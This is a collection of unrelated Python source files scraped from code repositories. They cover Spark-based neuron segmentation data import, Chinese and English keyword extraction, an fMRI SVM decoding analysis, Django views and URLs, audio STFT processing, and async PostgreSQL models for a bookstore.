features\nfrom pyspark.sql import Row\n\nimport h5py\nimport numpy as np\nfrom itertools import product\nfrom collections import namedtuple\nfrom pyspark.sql.types import *\nfrom tomni.backend import data_path\n\nimport os\n\nImportTask = namedtuple('ImportTask', ['chunk', 'start', 'end' , 'overlap' , 'files']) \nSubVolume = namedtuple('SubVolume', ['chunk', 'channel', 'machine_labels','human_labels','affinities', 'start', 'end' , 'overlap']) \n\nclass Dataset(object):\n\n def __init__(self, sc, sqlContext):\n \"\"\"\n SparkContext is required to return rdds\n \"\"\"\n self.sc = sc\n self.sqlContext = sqlContext\n self.subvolumes = None\n self.vertices = None\n self.edges = None\n self.chunks =None\n\n if not os.path.isdir(self.files('vertices')) or not os.path.isdir(self.files('edges')):\n self._get_subvolumes()\n self.compute_voxel_features()\n self.vertices.write.parquet(self.files('vertices'))\n self.edges.write.parquet(self.files('edges'))\n else:\n # Load the vertices and edges back.\n self.vertices = self.sqlContext.read.parquet(self.files('vertices'))\n self.edges = self.sqlContext.read.parquet(self.files('edges'))\n\n\n if not os.path.exists(self.files(\"chunks\")+\"/0-0-0.json\"):\n if not os.path.exists(self.files(\"chunks\")):\n os.makedirs(self.files(\"chunks\"))\n self._get_subvolumes() \n pfs = features.PrepareForServe()\n self.subvolumes.map(pfs.map).collect()\n \n\n def get_shape(self):\n\n f = h5py.File(self.files('machine_labels'),'r')\n if 'main' not in f: \n raise ImportError(\"Main dataset doesn't exists\")\n shape = np.array(f['main'].shape)\n f.close()\n return shape\n\n def import_hdf5(self, chunk_size=64, overlap=1 ):\n \"\"\"\n This code is executed in the master node.\n It opens the hdf5 files:\n * channel images\n * machine labels ( the output from watershed )\n * human labels ( and optional segmentation created by humans)\n * affinities ( the output from the conv nets where watershed was ran )\n to verify they all have the right dataset with the right shape (TODO)\n It divides the dataset into chunks, which all then import in parallel by the workers.\n \"\"\"\n\n import_tasks = []\n shape = self.get_shape()\n\n n_chunks = np.ceil( shape / float(chunk_size)).astype(int)\n n_chunks = np.maximum( n_chunks , np.array([1,1,1]))\n # n_chunks = np.minimum( n_chunks, np.array([1,4,4]))\n\n for chunk in product(*list(map(range,n_chunks))):\n\n start = np.maximum(np.array(chunk) * chunk_size, np.array([0,0,0]))\n end = np.minimum((np.array(chunk) + 1) * chunk_size + overlap, shape)\n chunk_overlap = (end != shape) * overlap\n\n files = { 'channel': self.files('channel'),\n 'machine_labels': self.files('machine_labels'),\n 'human_labels': self.files('human_labels'),\n 'affinities': self.files('affinities')}\n it = ImportTask( chunk , start, end , chunk_overlap , files)\n import_tasks.append(it)\n \n return import_tasks\n\n @staticmethod\n def _get_subvolume( it ):\n \"\"\"\n This code is executed by the worker, it runs an ImportTask which was created by\n import_hdf5.\n\n This method has to be static, because the class has a copy of the sparkContext\n which cannot be referenced by any worker.\n \"\"\"\n\n data = {}\n for h5file in ['channel','machine_labels', 'human_labels' , 'affinities']:\n f = h5py.File(it.files[h5file],'r')\n if 'main' not in f:\n raise ImportError(\"Main dataset doesn't exists\")\n\n if h5file == 'affinities':\n chunk_data = f['main'][:,\n it.start[0]:it.end[0],\n it.start[1]:it.end[1],\n it.start[2]:it.end[2]]\n else:\n chunk_data = f['main'][it.start[0]:it.end[0],\n it.start[1]:it.end[1],\n it.start[2]:it.end[2]]\n\n data[h5file] = chunk_data\n\n sv = SubVolume(it.chunk,\n data['channel'],\n data['machine_labels'],\n data['human_labels'],\n data['affinities'],\n it.start,\n it.end,\n it.overlap)\n return sv\n\n def _get_subvolumes(self):\n\n if self.subvolumes != None:\n return self.subvolumes\n \n volumes = self.import_hdf5()\n volumes = self.sc.parallelize(volumes)\n self.subvolumes = volumes.map(self._get_subvolume)\n \n def compute_voxel_features(self):\n \n def to_row( data ):\n return map(int,data)\n\n cr = features.ContactRegion()\n adjcency = self.subvolumes.flatMap(cr.map).reduceByKey(cr.reduce)\n edges = []\n for edge, voxels in adjcency.toLocalIterator():\n affinities_sum = float( np.sum([pair[1] for pair in voxels]) )\n contact_region_size = len(voxels)\n\n #The src should always be an smaller id that the dst\n if edge[0] > edge[1]:\n edge[0] , edge[1] = edge[1] , edge[0]\n \n edges.append( edge + (affinities_sum, contact_region_size) )\n\n \n self.edges = self.sqlContext.createDataFrame(edges, ['src','dst','affinities_sum','contact_region_size'])\n ss = features.SegmentSize()\n sizes = self.subvolumes.flatMap(ss.map).reduceByKey(ss.reduce).map(to_row).toDF(['id','size'])\n self.vertices = sizes\n\n\n # m = features.Mesh()\n # meshes = self.subvolumes.flatMap(m.map).reduceByKey(m.reduce).map(to_row).toDF(['id','meshes'])\n # vertices = sizes.join(meshes, 'id')\n # self.vertices = vertices\n\n # vertices.saveAsTable( tableName='vertices', mode='overwrite', path=self.files('vertices') )\n #nx.write_gpickle(self.g.g , self.files('graph'))\n return\n\n @staticmethod\n def files(file):\n production = False\n\n if production:\n \n files = {\n 'machine_labels': 's3://agglomeration/snemi3d_ds_test/machine_labels.h5',\n 'human_labels': 's3://agglomeration/snemi3d_ds_test/human_labels.h5',\n 'affinities': 's3://agglomeration/snemi3d_ds_test/affinities.h5',\n 'adjcency':'s3://agglomeration/snemi3d_ds_test/adjcency',\n 'sizes': 's3://agglomeration/snemi3d_ds_test/sizes',\n 'meshes':'s3://agglomeration/snemi3d_ds_test/meshes',\n 'vertices': 's3://agglomeration/snemi3d_ds_test/vertices',\n 'graph': 's3://agglomeration/snemi3d_ds_test/graph'\n }\n\n else:\n\n files = {\n 'channel': data_path+'/small_ch_dr5.h5',\n 'machine_labels': data_path+'/small_ml_dr5.h5',\n 'human_labels': data_path+'/small_ml_dr5.h5',\n 'affinities': data_path+'/small_aff_dr5.h5',\n 'chunks': data_path+'/chunks',\n 'vertices': data_path+'/vertices',\n 'edges': data_path+'/edges'\n }\n \n return files[file]","sub_path":"tomni/backend/graph/datasets.py","file_name":"datasets.py","file_ext":"py","file_size_in_byte":6832,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"53291612","text":"# -*- coding: utf-8 -*-\n__author__ = 'duyongan'\n__date__ = '2018/6/28 10:01'\nimport jieba\njieba.initialize()\nimport re\nimport jieba.posseg as pseg\nimport networkx as nx\nfrom pylab import *\nmpl.rcParams['font.sans-serif'] = ['SimHei']\nimport numpy as np\nimport collections\nimport nltk\n\nclass analyse:\n def __init__(self,text,lang,stopwords,idf_map,my_dict):\n self.stopwords=stopwords\n self.idf_map=idf_map\n self.dict=my_dict\n # self.text = text\n self.lang = lang\n text=''.join([t for t in text.split('\\n') if len(t)>4])\n text = text.replace('\\n', '').replace('\\u3000', '').replace('？”', '”').replace('！”', '”').replace('。”', '”')\n if lang=='zh':\n text=re.sub('（.*?）', '', text)\n sentences = re.split(r\"([。！？……])\", text)\n sentences.append('')\n self.sentences = [\"\".join(i) for i in zip(sentences[0::2], sentences[1::2])]\n # 分词\n sentences2=[]\n for sentence in self.sentences:\n words =[tuple_ for tuple_ in list(pseg.cut(sentence))if list(tuple_)[0].strip()]\n words2=[]\n temp=''\n enstart=False\n for i in range(len(words)):\n if words[i].flag in ['n','nd','nh','ni','nl','ns','nt','nz','vn','nr','nrf','nsf','ng','nrj','nr1','nr2'] and len(temp)<=4 and not enstart:\n if words[i].word not in self.stopwords:\n temp=temp+words[i].word\n if i==len(words)-1:\n if temp.strip()!='':\n words2.append(temp)\n else:\n if temp.strip()!='' and not enstart:\n words2.append(temp)\n temp=''\n if words[i].flag=='eng':\n en_word=nltk.pos_tag([words[i].word])[0][1]\n if en_word in ['NN','NNS','NNP','NNPS'] and words[i].word not in self.stopwords:\n if enstart:\n if len(temp.strip().split()) > 2 or temp.strip().isupper() and temp.strip() not in self.stopwords:\n words2.append(temp.strip())\n temp=''\n if temp:\n temp+=' '+words[i].word.strip()\n else:\n temp = words[i].word.strip()\n else:\n temp=words[i].word.strip()\n enstart=True\n try:\n if words[i+1].flag!='eng':\n if len(temp.strip().split())>2 or temp.strip().isupper() and temp.strip() not in self.stopwords:\n words2.append(temp.strip())\n enstart=False\n temp=''\n except:\n words2.append(temp.strip())\n enstart = False\n temp=''\n\n if i+1 2 or temp.strip().isupper() and temp.strip() not in self.stopwords :\n words2.append(temp.strip())\n enstart = False\n temp = ''\n else:\n if temp:\n if len(temp.strip().split()) > 2 or temp.strip().isupper() and temp.strip() not in self.stopwords:\n words2.append(temp.strip())\n enstart = False\n temp = ''\n sentences2.append(words2)\n elif lang=='en':\n text = re.sub('\\(.*?\\)', '', text)\n sentences = re.split(r\"([.?!…])\", text)\n sentences.append('')\n self.sentences = [\"\".join(i) for i in zip(sentences[0::2], sentences[1::2])]\n sentences2=[]\n for sentence in self.sentences:\n words =list(nltk.pos_tag(sentence.split()))\n words2=[]\n temp=''\n for i in range(len(words)):\n if words[i][1] in ['NN','NNS','NNP','NNPS'] and len(temp.split())<=4 and words[i][0] not in self.stopwords:\n if temp:\n temp=temp.strip()+' '+words[i][0].strip()\n else:\n temp=words[i][0].strip()\n if i==len(words)-1:\n if len(temp.strip().split()) > 2 or temp.strip().isupper() and temp not in self.stopwords :\n words2.append(temp)\n else:\n if len(temp.strip().split()) > 2 or temp.strip().isupper() and temp not in self.stopwords :\n words2.append(temp)\n temp=''\n sentences2.append(words2)\n else:\n return []\n #去停用词和单字\n self.sentences3=[]\n for sentence in sentences2:\n sentence2=[]\n for word in sentence:\n if word in self.stopwords:\n pass\n elif len(word)<=2:\n pass\n else:\n sentence2.append(word)\n if len(sentence2)>1:\n self.sentences3.append(sentence2)\n\n #单字词频统计\n def flatten(x):\n result = []\n for el in x:\n if isinstance(x, collections.Iterable) and not isinstance(el, str):\n result.extend(flatten(el))\n else:\n result.append(el)\n return result\n word_map={}\n word_list=flatten(self.sentences3)\n for word in list(set(word_list)):\n word_map[word]=word_list.count(word)\n #词对频数统计\n word2word_map={}\n word2word=[]\n for sentence in self.sentences3:\n for i in range(len(sentence)):\n for j in range(i+1,len(sentence)):\n alist=[]\n alist.append(sentence[i])\n alist.append(sentence[j])\n alist=sorted(alist)\n word2word.append('_'.join(alist))\n for w2w in list(set(word2word)):\n word2word_map[w2w]=word2word.count(w2w)\n\n #计算共现网络权重\n word2word_weight={}\n for w2w in list(set(word2word)):\n word2word_weight[w2w]=(word2word_map[w2w]/word_map[w2w.split('_')[0]]+word2word_map[w2w]/word_map[w2w.split('_')[1]])*0.5\n\n #共现网络可视化\n G=nx.Graph()\n word_list2=[]\n for word in list(set(word_list)):\n word=unicode(word.encode(\"utf-8\"),'utf-8')\n word_list2.append(word)\n G.add_nodes_from(word_list2)\n for w2w in word2word_weight.keys():\n G.add_edge(unicode(w2w.split('_')[0].encode(\"utf-8\"),'utf-8'),unicode(w2w.split('_')[1].encode(\"utf-8\"),'utf-8'),weight=word2word_weight[w2w])\n word_map2=[]\n for word in G.nodes:\n word_map2.append((word,word_map[word]))\n fre=[]\n idf_num=[]\n max_idf_num=max(self.idf_map.values())\n for flu in word_map2:\n fre.append(flu[1])\n try:\n idf_num.append(self.idf_map[flu[0]])\n except:\n idf_num.append(max_idf_num)\n fre=np.array(fre)\n idf_num=np.array(idf_num)\n try:\n pr1=np.array(list(nx.degree_centrality(G).values()))\n except:\n pr1=np.zeros(len(word_list2))\n try:\n pr2=np.array(list(nx.eigenvector_centrality(G).values()))\n except:\n pr2=np.zeros(len(word_list2))\n try:\n pr3=np.array(list(nx.betweenness_centrality(G).values()))\n except:\n pr3=np.zeros(len(word_list2))\n pr4=fre\n weight_=list((0.1*pr1/max(0.001,sum(pr1))+0.1*pr2/max(0.001,sum(pr2))+0.5*pr3/max(0.001,sum(pr3))+0.3*pr4*idf_num/max(0.001,sum(pr4))))\n for i,word in enumerate(G.nodes):\n if word.isupper():\n weight_[i] = weight_[i] * 0.25\n if word in self.dict:\n weight_[i] = weight_[i] * 10\n self.keywords=dict(zip(G.nodes,weight_))\n\n def getKeywords(self,num_of_keywords):\n keywords = sorted(self.keywords.items(), key=lambda k: k[1],reverse=True)\n keywords=keywords[:min(num_of_keywords,len(keywords)-1)]\n keywords=[term[0] for term in keywords]\n return keywords\n\n\n def getAbstract(self,num_of_abstract):\n sentences_score = {}\n for i,sentence in enumerate(self.sentences3):\n sentence_score = 0\n if len(sentence) > 0:\n for word in sentence:\n sentence_score += self.keywords[word]\n sentences_score[i] = sentence_score / len(sentence)\n if i==0 or i==len(self.sentences3)-1:\n sentences_score[i] =sentences_score[i] *10\n if len(self.sentences[i])>50:\n sentences_score[i] = 0.01*sentences_score[i]\n else:\n sentences_score[i] =0\n sentences_score = sorted(sentences_score.items(), reverse=True, key=lambda k: k[1])\n results = []\n for sentence_num in sorted(sentences_score[:num_of_abstract]):\n sentence = ''\n seq = re.split('([，；])', self.sentences[sentence_num[0]])\n seq.append('')\n seq = [\"\".join(i) for i in zip(seq[0::2], seq[1::2])]\n for sen in seq:\n words = list(jieba.cut(sen))\n words2 = []\n for word in words:\n if word in self.stopwords:\n pass\n elif len(word) <= 1:\n pass\n else:\n words2.append(word)\n if len(sen) <= 4:\n __if_useful = False\n word_flags = pseg.lcut(sen)\n for word_flag in word_flags:\n if word_flag.flag in ['n', 'nd', 'nh', 'ni', 'nl', 'ns', 'nt', 'nz', 'vn', 'nr', 'nrf', 'nsf',\n 'ng', 'nrj', 'nr1', 'nr2']:\n __if_useful = True\n break\n if __if_useful:\n if sentence != '':\n sentence = sentence + sen\n elif len(words2) == 0:\n pass\n else:\n if sentence != '':\n sentence = sentence + sen\n else:\n sentence = sentence + sen\n results.append(sentence)\n return ''.join(results)","sub_path":"analyse.py","file_name":"analyse.py","file_ext":"py","file_size_in_byte":11446,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"401975363","text":"import asyncio\nimport websockets\nimport json\n\nclass WebSoketRunner:\n def __init__(self, engine: object, logger: object):\n self.engine = engine()\n self.logger = logger\n\n async def consumer(self, message):\n output_list = json.loads(message)\n self.logger.debug(f'INPUT json: {output_list}')\n # engine = self.engine.pwm_controller(manage_list=output_list)\n self.engine.pwm_controller(manage_list=output_list)\n\n\n async def websocket_server(self, websocket, path):\n async for message in websocket:\n await self.consumer(message)\n\n def start(self):\n start_server = websockets.serve(self.websocket_server, \"127.0.0.1\", 5685)\n asyncio.get_event_loop().run_until_complete(start_server)\n asyncio.get_event_loop().run_forever()\n","sub_path":"pwm_manage/websocketruner.py","file_name":"websocketruner.py","file_ext":"py","file_size_in_byte":808,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"209163769","text":"\nimport matplotlib as mpl\nmpl.use('Agg')\nimport matplotlib.pyplot as plt\n\nimport os\nimport numpy as np\nimport nilearn\nimport glob\nimport nibabel as nib\nimport pandas as pd\nfrom nilearn.image import concat_imgs, index_img, smooth_img\nfrom nilearn.image import resample_to_img\n#from nilearn import plotting\nfrom nilearn.input_data import NiftiMasker\nfrom sklearn.svm import SVC\nfrom sklearn.cross_validation import LeaveOneLabelOut\nfrom sklearn.model_selection import cross_val_score, permutation_test_score\nfrom sklearn.feature_selection import SelectKBest, f_classif\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.grid_search import GridSearchCV\nfrom nilearn import image\nfrom nilearn.plotting import plot_stat_map, show\nfrom sklearn.dummy import DummyClassifier\n\n\n\nbasepath=os.path.join('/projects','niblab','data','eric_data','W1','imagine')\noutpath = \"/projects/niblab/nilearn_projects\"\n\nfmri_subjs=os.path.join(outpath, 'concatenated_imagine_67.nii')\naverage_ana=os.path.join(outpath,'CS_avg_mprage_image.nii.gz')\nimag_mask=os.path.join(outpath,'power_roimask_4bi.nii.gz')\n#plot mask (Power ROIs) over anatomical that is defined above\n#plotting.plot_roi(imag_mask,bg_img=average_ana,cmap='Paired')\n#load labels for the functional data\nstim = os.path.join('/projects','niblab','scripts','nilean_stuff','label_67_sub.csv')\n\n\nfunc_df = pd.read_csv(stim, sep=\",\")\n#Retrieve the behavioral targets, that we are going to predict in the decoding\n#y_mask = labels['labels']\n#subs = labels['subs']\ny_mask = func_df['labels']\nsubs = func_df['subs']\n\n\n# In[19]:\n\n\n\n# ---STEP 3---\n#feature selection\n#To keep only data corresponding to app food or unapp food, we create a mask of the samples belonging to the condition.\n\ncondition_mask = func_df[\"labels\"].isin(['rest', 'app'])\n#condition_mask = func_df[\"labels\"].isin(['app', 'unapp', 'H2O'])\nprint(condition_mask.shape)\n#y = y_mask[condition_mask]\ny = y_mask[condition_mask]\nprint(y.shape)\nn_conditions = np.size(np.unique(y))\nprint(n_conditions)\n#n_conditions = np.size(np.unique(y))\nprint(y.unique())\n#session = func_df[condition_mask].to_records(index=False)\n#print(session.dtype.name)\nnifti_masker = NiftiMasker(mask_img=imag_mask, smoothing_fwhm=4,standardize=True, memory_level=0)\nfmri_trans = nifti_masker.fit_transform(fmri_subjs)\nprint(fmri_trans)\nX = fmri_trans[condition_mask]\nsubs = subs[condition_mask]\n\nsvc = SVC()\nsvc = SVC(kernel='linear', verbose=False)\nprint(svc)\nfrom sklearn.feature_selection import SelectPercentile, f_classif\n#feature_selection = SelectPercentile(f_classif, percentile=10)\nfeature_selection = SelectKBest(f_classif, k=1500)\nnp.warnings.filterwarnings('ignore')\n\nanova_svc = Pipeline([('anova',feature_selection), ('svc',svc)])\n#fit the decoder and predict\nanova_svc.fit(X, y)\ny_pred = anova_svc.predict(X)\n\nk_range = [10, 15, 30, 50 , 150, 300, 500, 1000, 1500, 3000, 5000]\n#cv_scores = cross_val_score(anova_svc, X[subs ==1], y[subs ==1])\ncv_scores = []\nscores_validation = []\n\nfor k in k_range:\n feature_selection.k = k\n #anova_svc.set_params(anova__k=feat svc__C=1.0).fit(X[subs == 1], y[subs == 1])\n cv_scores.append(np.mean(cross_val_score(anova_svc, X[subs ==1], y[subs ==1])))\n print(\"CV score: %.4f\" % cv_scores[-1])\n #scores_validation.append(np.mean(y_pred == y[subs == 0]))\n #print(\"score validation: %.4f\" % scores_validation[-1])\n anova_svc.fit(X[subs ==1], y[subs == 1])\n y_pred = anova_svc.predict(X[subs == 0])\n scores_validation.append(np.mean(y_pred == y[subs == 0]))\n print(\"score validation: %.4f\" % scores_validation[-1])\n\n# we are working with a composite estimator:\n# a pipeline of feature selection followed by SVC. Thus to give the name of the parameter that we want to tune we need to give the name of the step in\n# the pipeline, followed by the name of the parameter, with ‘__’ as a separator.\n# We are going to tune the parameter 'k' of the step called 'anova' in the pipeline. Thus we need to address it as 'anova__k'.\n# Note that GridSearchCV takes an n_jobs argument that can make it go much faster\ngrid = GridSearchCV(anova_svc, param_grid={'anova__k': k_range}, n_jobs=2)\nnested_cv_scores = cross_val_score(grid, X, y)\nclassification_accuracy = np.mean(nested_cv_scores)\nprint(\"Classification accuracy: %.4f / Chance level: %f\" %\n (classification_accuracy, 1. / n_conditions))\n\n\n\nprint(\"SCORE VALIDATION: \", scores_validation)\nprint(\"CV Scores: \", cv_scores)\n\n# plot\nplt.plot(cv_scores, label='Cross validation scores')\nplt.plot(scores_validation, label='Left-out validation data scores')\nplt.xticks(np.arange(len(k_range)), k_range)\nplt.axis('tight')\nplt.xlabel('k')\n\nplt.axhline(np.mean(nested_cv_scores),\n label='Nested cross-validation',\n color='r')\n\nplt.legend(loc='best', frameon=False)\nplt.show()\n\n\n# ---STEP 5---\n#flipping the martix backinto an image\ncoef = svc.coef_\nprint(coef)\n\n# reverse feature selection\ncoef = feature_selection.inverse_transform(coef)\n\n# reverse masking\nweight_img = nifti_masker.inverse_transform(coef)\n#plot image\nplt.plot_stat_map(weight_img, average_ana, title='SVM weights')\nplt.show()\n\n\nfrom sklearn.dummy import DummyClassifier\nnull_cv_scoresdumb = cross_val_score(DummyClassifier(), X, y, cv=10)\nprint(null_cv_scoresdumb)\nnull_cv_scoresdumb = cross_val_score(DummyClassifier(), X, y, cv=1)\nprint(null_cv_scoresdumb)\nmeannull_cv_scoresdumb = np.mean(null_cv_scoresdumb)\nprint(meannull_cv_scoresdumb)\n","sub_path":"TheBrainPipeline/analysis/nilearn_scripts/.ipynb_checkpoints/app_vs_rest_nest-checkpoint.py","file_name":"app_vs_rest_nest-checkpoint.py","file_ext":"py","file_size_in_byte":5422,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"157255905","text":"# -*- coding: utf-8 -*-\nfrom django.urls import path\n\nfrom . import views\n\n\napp_name = 'movies'\nurlpatterns = [\n path('', view=views.MovieListView.as_view(), name='index'),\n path('/',view=views.MovieDetailView.as_view(), name='detail'),\n path('create/', view=views.MovieCreateView.as_view(), name='create'),\n path('update//',view=views.MovieUpdateView.as_view(), name='update'),\n path('delete//',view=views.MovieDeleteView.as_view(), name='delete'),\n path('results/', views.SearchView.as_view(), name='search'),\n]\n","sub_path":"python-django-assessment/moviesapp/movies/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":556,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"650288989","text":"\"\"\"Provides the view of the team member widget.\"\"\"\n\nfrom django.shortcuts import render_to_response\nfrom django.template import RequestContext\nfrom django.contrib.auth.decorators import login_required\nfrom django.views.decorators.cache import never_cache\nfrom apps.managers.team_mgr import team_mgr\nfrom apps.managers.score_mgr import score_mgr\n\n\ndef supply(request, page_name):\n \"\"\"Supply view_objects content, which is the set of team members.\"\"\"\n _ = page_name\n\n # Get the team members.\n team = request.user.get_profile().team\n if team:\n members_with_points = []\n zero_point_members = []\n for member in team_mgr.team_members(team):\n if score_mgr.player_points(member) > 0:\n members_with_points.append(member)\n else:\n zero_point_members.append(member)\n else:\n members_with_points = None\n zero_point_members = None\n\n return {\n \"team_members\": members_with_points,\n \"zero_members\": zero_point_members,\n }\n\n\n@never_cache\n@login_required\ndef team_members(request):\n \"\"\"Provide the team members.\"\"\"\n team = request.user.get_profile().team\n if team:\n members = team_mgr.team_members(team)\n else:\n members = None\n\n return render_to_response(\"team_members.html\", {\n \"team_members\": members,\n }, context_instance=RequestContext(request))\n","sub_path":"makahiki/apps/widgets/team_members/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1403,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"187977267","text":"import tensorflow as tf\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport os, sys\nimport time\nfrom scipy import signal\nimport utils\n\ndata_root = \"C:/Users/TobiasToft/Documents/GitHub/ABE_Master_thesis/PythonFiles/data_test/test/333_ref.wav\"\n\nx, fs = utils.wavToSamples(data_root)\nwL = 512\n\nplt.plot(x)\n\nR = int(np.round(0.25*wL))\n\npos = np.ceil(np.log2(wL))\n\nM = int(np.power(2,pos))\n\n# window\nw = np.hanning(wL)\n\n# FFT length\nN = int(wL)\n\n# Time and frequency resolution\ndT = N/fs\ndF = fs/N\n\n# Overlap\nO = N - R\n\n# Number of frames\nL = int(np.floor( (len(x)-O)/R ))\n\n# Indexes\nidx1 = 0\nidx2 = int(N)\n\npadZeros = np.zeros(M-N)\nX_r = np.empty((M,L))\nX_i = np.empty((M,L))\nX_abs = np.empty((M,L))\n\nfor i in range(0,L):\n\n\t# Extracting frame\n x_ = x[idx1:idx2]\n\n\t# Applying window\n x_ *= np.transpose(w)\n\n\t# Zeropadding to M FFT length\n x_ = np.concatenate((x_,padZeros))\n\n\t# FFT transform and power calculation\n xFFT = np.fft.fft(x_,M)\n xFFT = 2*xFFT/M\n\n\t#print(xFFT.imag)\n X_r[:,i] = xFFT.real\n X_i[:,i] = xFFT.imag\n\n X_abs[:,i] = np.abs(xFFT)**2\n\n\t# Updating indexes\n idx1 += R\n idx2 += R\n\n# Extracting positive frequencies only\nX_r = X_r[0:int(M/2),:]\nX_i = X_i[0:int(M/2),:]\nX_abs = X_abs[int(M/2):-1,:]\n\n\n\nplt.imshow(X_abs)\n\t#return X_abs,X_r, X_i\n\n\n\nf, t, Sxx = signal.spectrogram(x, fs,nfft=512)\nplt.imshow(X_abs)\n","sub_path":"PythonFiles/Tobias_temp/stft_temp.py","file_name":"stft_temp.py","file_ext":"py","file_size_in_byte":1357,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"25122475","text":"#Enter a file, we check if exists and then it executes script1.py (explained in the begining of script1.py)\nimport os.path\nfileorigin= input(\"Enter a filename \\n\")\nfileoriginA=fileorigin.split('.')\nfiledestination=fileoriginA[0]+\"_OUTPUT.html\"\n\n\n\nif os.path.exists(fileorigin): #check if file exists\n os.system(\"python script1.py \"+fileorigin+\" \"+filedestination+\" \"+fileoriginA[0])#passing args when calling the script\n\nelse:\n print(\"The file doesn't exists\")","sub_path":"chScript1/script2.py","file_name":"script2.py","file_ext":"py","file_size_in_byte":471,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"239829861","text":"import aiopg.sa\r\nfrom sqlalchemy import (\r\n MetaData, Table, Column, ForeignKey,\r\n Integer, String, Date, Numeric,\r\n select, and_\r\n)\r\nimport datetime as date\r\n\r\n\r\nmeta = MetaData()\r\n\r\n# Определение таблиц БД\r\nuser = Table(\r\n 'user', meta,\r\n\r\n Column('id', Integer, primary_key=True),\r\n Column('name', String(20), nullable=False),\r\n Column('surname', String(20), nullable=False),\r\n Column('fathers_name', String(20), nullable=False),\r\n Column('email', String(30), nullable=False, unique=True)\r\n)\r\n\r\nbook = Table(\r\n 'book', meta,\r\n\r\n Column('id', Integer, primary_key=True),\r\n Column('name', String(60), nullable=False),\r\n Column('author', String(30), nullable=False),\r\n Column('isbn', String(20), nullable=False, unique=True),\r\n Column('price', Numeric, nullable=False)\r\n)\r\n\r\nshop = Table(\r\n 'shop', meta,\r\n\r\n Column('id', Integer, primary_key=True),\r\n Column('name', String(20), nullable=False),\r\n Column('address', String(100), nullable=False),\r\n Column('post_code', Integer, nullable=False)\r\n)\r\n\r\nshop_inventory = Table(\r\n 'shop_inventory', meta,\r\n\r\n Column('id', Integer, primary_key=True),\r\n Column('shop_id', Integer, ForeignKey('shop.id')),\r\n Column('book_id', Integer, ForeignKey('book.id')),\r\n Column('book_quantity', Integer, server_default='0', nullable=False)\r\n)\r\n\r\norder = Table(\r\n 'order', meta,\r\n\r\n Column('id', Integer, primary_key=True),\r\n Column('reg_date', Date, nullable=False,\r\n server_default=date.datetime.today().strftime(\"%Y-%m-%d\")),\r\n Column('user_id', Integer, ForeignKey('user.id'))\r\n)\r\n\r\norder_position = Table(\r\n 'order_position', meta,\r\n\r\n Column('id', Integer, primary_key=True),\r\n Column('order_id', Integer, ForeignKey('order.id')),\r\n Column('book_id', Integer, ForeignKey('book.id')),\r\n Column('book_quantity', Integer, server_default='0', nullable=False),\r\n Column('shop_id', Integer, ForeignKey('shop.id'))\r\n)\r\n\r\n\r\n# Создание экзепляра 'двигателя (engine)' для возмжности отправки запросов в БД\r\nasync def init_pg(app):\r\n # Загрузка конфигурации БД\r\n conf = app['config']['postgres']\r\n # Создание экземпляра 'двигателя'\r\n engine = await aiopg.sa.create_engine(\r\n database=conf['database'],\r\n user=conf['user'],\r\n password=conf['password'],\r\n host=conf['host'],\r\n port=conf['port'],\r\n minsize=conf['minsize'],\r\n maxsize=conf['maxsize'],\r\n )\r\n # Присвоение экзепляра двигателя нашему приложению\r\n app['db'] = engine\r\n\r\n\r\n# Отключение экземпляра двигателя\r\nasync def close_pg(app):\r\n app['db'].close()\r\n await app['db'].wait_closed()\r\n\r\n\r\n# Определения новго класса ошибок разного рода при выполнении запросов в БД:\r\nclass RecordNotFound(Exception):\r\n \"\"\"Requested record in database was not found\"\"\"\r\n\r\n\r\n# Функция отправки запроса для получения данных пользователя\r\nasync def get_user(conn, uii=None, ei=None):\r\n # Определение параметра с помощью которого будет выполнен запрос\r\n # Является ли это id пользователя или email\r\n temp = None\r\n if uii:\r\n temp = uii\r\n col = user.c.id\r\n elif ei:\r\n temp = ei\r\n col = user.c.email\r\n # Сам запрос\r\n query = await conn.execute(\r\n user.select()\r\n .where(col == temp))\r\n result = await query.fetchall()\r\n # Проверка наличия данных в ответе на запроса\r\n if not result:\r\n msg = \"User with id/email: {} does not exists\"\r\n raise RecordNotFound(msg.format(temp))\r\n record = [dict(q) for q in result]\r\n return record\r\n\r\n\r\n# Функия получения истории запросов пользователя\r\nasync def get_order_list(conn, id_pointer=None, email_pointer=None):\r\n # Определение параметра (id/email) с помощью которого будет выполнен запрос\r\n temp = None\r\n if id_pointer:\r\n temp = id_pointer\r\n col = user.c.id\r\n elif email_pointer:\r\n temp = email_pointer\r\n col = user.c.email\r\n # Объединение таблиц\r\n j1 = user.join(order, user.c.id == order.c.user_id)\r\n j2 = j1.join(order_position, j1.c.order_id == order_position.c.order_id)\r\n j3 = j2.join(book, j2.c.order_position_book_id == book.c.id)\r\n # Выполнение запроса\r\n query = await conn.execute(select([user.c.id,\r\n user.c.name,\r\n order.c.reg_date,\r\n book.c.id,\r\n book.c.name,\r\n order_position.c.book_quantity,\r\n book.c.price\r\n ],\r\n use_labels=True\r\n )\r\n .select_from(j3)\r\n .where(col == temp))\r\n result = await query.fetchall()\r\n # Проверка наличия данных в ответе на запрос\r\n if not result:\r\n msg = \"User with id/email: {} doesn't exists or doesn't have any order\"\r\n raise RecordNotFound(msg.format(temp))\r\n record = [dict(q) for q in result]\r\n return record\r\n\r\n\r\n# Функция для определения инвентаря магазина\r\nasync def get_stock_list(conn, id_pointer=None, name_pointer=None):\r\n # Определение параметра (id/name) с помощью которого будет выполнен запрос\r\n temp = None\r\n if id_pointer:\r\n temp = id_pointer\r\n col = shop.c.id\r\n elif name_pointer:\r\n temp = name_pointer\r\n col = shop.c.name\r\n # Объединение таблиц\r\n 